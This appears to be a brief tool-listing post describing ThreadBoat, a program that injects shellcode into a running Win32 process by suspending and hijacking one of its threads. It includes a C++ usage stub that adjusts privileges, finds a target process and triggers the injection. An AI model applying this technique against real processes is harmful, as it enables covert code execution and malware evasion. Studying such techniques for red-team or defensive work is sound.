Home / Unlabelled / ThreadBoat - Program Uses Thread Execution Hijacking To Inject Native Shellcode Into A Standard Win32 Application

ThreadBoat - Program Uses Thread Execution Hijacking To Inject Native Shellcode Into A Standard Win32 Application

1:58 PM Anonymous

Program uses Thread Hijacking to Inject Native Shellcode into a Standard Win32 Application.

With Thread Hijacking, it allows the hijacker.exe program to suspend a thread within the target.exe program allowing us to write shellcode to a thread.

Usage

int main()
 {
  System sys;
  Interceptor incp;
  Exception exp;
 
  sys.returnVersionState();
  if (sys.returnPrivilegeEscalationState())
  {
   std::cout << "Token Privileges Adjusted\n";
  }
  
  if (DWORD m_procId = incp.FindWin32ProcessId((PCHAR)m_win32ProcessName))
  {
   incp.ExecuteWin32Shellcode(m_procId);
  }
 
  system("PAUSE");
  return 0;
 }